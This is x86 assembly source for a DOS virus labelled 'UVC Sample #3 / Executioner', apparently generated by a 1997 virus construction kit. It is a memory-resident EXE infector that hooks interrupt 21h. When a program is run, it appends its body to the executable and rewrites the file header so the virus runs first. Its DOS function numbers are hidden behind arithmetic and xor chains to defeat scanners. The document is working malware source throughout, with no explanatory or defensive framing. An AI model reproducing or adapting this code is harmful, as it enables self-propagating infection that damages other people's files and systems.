UVC Sample #3
Executioner
; Created with UVC 1.00á
; (c) 1997 Unknown/Executioner
.model	tiny
.386
v_length equ	v_finish-v_start
m_length equ	m_finish-v_start
num_para equ	(m_length+15)/16
cseg	segment use16
	org	0
	assume	cs:cseg,ds:cseg,es:cseg,ss:cseg
v_start:
v_entry:
	call	delta
delta:
	pop	bp
	sub	bp, offset delta
	mov	ax, 4bb8h
	int	21h
	cmp	ax, 1234
	jz	return_to_host
	call	go_resident
return_to_host:
	mov	ax, ds
	add	ax, 10h
	add	word ptr cs:[bp+old_cs], ax
	add	word ptr cs:[bp+old_ss], ax
	mov	ss, word ptr cs:[bp+old_ss]
	mov	sp, word ptr cs:[bp+old_sp]
	db	0eah
old_ip	dw	0
old_cs	dw	0fff0h
old_ss	dw	0fff0h
old_sp	dw	2000h
go_resident:
	push	ds
	push	es
	mov	ax, ds
	dec	ax
	mov	ds, ax
	sub	word ptr ds:[3], num_para+1
	sub	word ptr ds:[12h], num_para+1
	mov	byte ptr ds:[0], 'Z'
	mov	ax, word ptr ds:[12h]
	mov	ds, ax
	mov	byte ptr ds:[0], 'Z'
	mov	word ptr ds:[1], 8
	mov	word ptr ds:[3], num_para
	inc	ax
	mov	es, ax
	push	cs
	pop	ds
	lea	si, [bp+v_start]
	push	0
	pop	di
	mov	cx, v_length
	rep	movsb
	and	ax, 0
	mov	ds, ax
	mov	si, (((((84h+0ee4h)+0c0f6h) xor 0fe10h) xor 30b4h)+3fe2h) and 0ffffh
	sub	si, 3fe2h
	xor	si, 30b4h
	xor	si, 0fe10h
	sub	si, 0c0f6h
	sub	si, 0ee4h
	push	ax
	mov	ax, word ptr ds:[si]
	add	si, 2
	mov	word ptr es:[di], ax
	add	di, 2
	pop	ax
	movsb
	push	ax
	mov	al, byte ptr ds:[si]
	inc	si
	mov	byte ptr es:[di], al
	inc	di
	pop	ax
	cli
	mov	word ptr ds:[84h], offset new_int21
	mov	word ptr ds:[86h], es
	sti
	pop	es
	pop	ds
	retn
infect_file:
	pusha
	push	ds
	push	es
	mov	ax, ((3d02h-4edch)-0ab5h) and 0ffffh
	add	ax, 0ab5h
	add	ax, 4edch
	int	21h
	xchg	bx, ax
	push	cs
	pop	ds
	push	cs
	pop	es
	mov	ax, 3f00h and 0ffffh
	mov	cx, 20h and 0ffffh
	mov	dx, offset buffer
	int	21h
	cmp	word ptr ds:[buffer+10h], 2000h
	jz	already_infected
	mov	si, offset buffer+14h
	mov	di, offset old_ip
	push	ax
	mov	ax, word ptr ds:[si]
	add	si, 2
	mov	word ptr es:[di], ax
	add	di, 2
	pop	ax
	movsb
	push	ax
	lodsb
	stosb
	pop	ax
	mov	si, offset buffer+0eh
	push	ax
	mov	al, byte ptr ds:[si]
	inc	si
	stosb
	pop	ax
	movsb
	movsw
	mov	ax, ((((((4202h+0ce6fh) xor 0a07ch) xor 0e647h) xor 1912h)+578eh) xor 7799h) and 0ffffh
	xor	ax, 7799h
	sub	ax, 578eh
	xor	ax, 1912h
	xor	ax, 0e647h
	xor	ax, 0a07ch
	sub	ax, 0ce6fh
	xor	cx, cx
	push	0
	pop	dx
	int	21h
	mov	cx, ax
	and	cx, 0fh
	shr	ax, 4
	shl	dx, 12
	or	ax, dx
	sub	ax, word ptr [buffer+8]
	mov	word ptr [buffer+14h], cx
	mov	word ptr [buffer+16h], ax
	mov	word ptr [buffer+0eh], ax
	mov	word ptr [buffer+10h], 2000h
	mov	ax, ((4000h-0ee70h) xor 491eh) and 0ffffh
	xor	ax, 491eh
	add	ax, 0ee70h
	mov	cx, v_length
	sub	dx, dx
	int	21h
	mov	ax, ((((4202h xor 0eb9dh) xor 0a1ah)-9e30h)-7eb5h) and 0ffffh
	add	ax, 7eb5h
	add	ax, 9e30h
	xor	ax, 0a1ah
	xor	ax, 0eb9dh
	and	cx, 0
	sub	dx, dx
	int	21h
	mov	cx, ax
	and	cx, 1ffh
	shr	ax, 9
	shl	dx, 7
	or	ax, dx
	or	cx, cx
	jz	multiple_of_512
	inc	ax
multiple_of_512:
	mov	word ptr [buffer+2], cx
	mov	word ptr [buffer+4], ax
	mov	ax, ((4200h-31a9h)+8731h) and 0ffffh
	sub	ax, 8731h
	add	ax, 31a9h
	push	0
	pop	cx
	and	dx, 0
	int	21h
	mov	ax, ((((((4000h xor 1c81h)-09efh) xor 5e14h) xor 0cd87h) xor 0b027h) xor 0adc1h) and 0ffffh
	xor	ax, 0adc1h
	xor	ax, 0b027h
	xor	ax, 0cd87h
	xor	ax, 5e14h
	add	ax, 09efh
	xor	ax, 1c81h
	mov	cx, ((((((20h+0a485h)+2770h)+8440h)+0cba4h)+6e3eh) xor 1211h) and 0ffffh
	xor	cx, 1211h
	sub	cx, 6e3eh
	sub	cx, 0cba4h
	sub	cx, 8440h
	sub	cx, 2770h
	sub	cx, 0a485h
	mov	dx, offset buffer
	int	21h
already_infected:
	mov	ax, (((((3e00h-947fh)+5025h) xor 3279h)-0ad5eh)+089bh) and 0ffffh
	sub	ax, 089bh
	add	ax, 0ad5eh
	xor	ax, 3279h
	sub	ax, 5025h
	add	ax, 947fh
	int	21h
	pop	es
	pop	ds
	popa
	jmp	do_orig_int
residency_check:
	mov	ax, (1234h xor 0eb6h) and 0ffffh
	xor	ax, 0eb6h
	popf
	iret
new_int21:
	pushf
	push	ax
	dec	ax
	push	ax
	inc	ax
	cmp	ax, ((4b00h-1)+1)
	pop	ax
	pop	ax
	jz	infect_file
	push	ax
	sub	ax, 4bb8h
	pop	ax
	jz	residency_check
do_orig_int:
	popf
	jmp	dword ptr cs:[old_int21]
v_finish:
old_int21 dd	?
buffer	db	20h dup (0)
m_finish:
cseg	ends
	end	v_start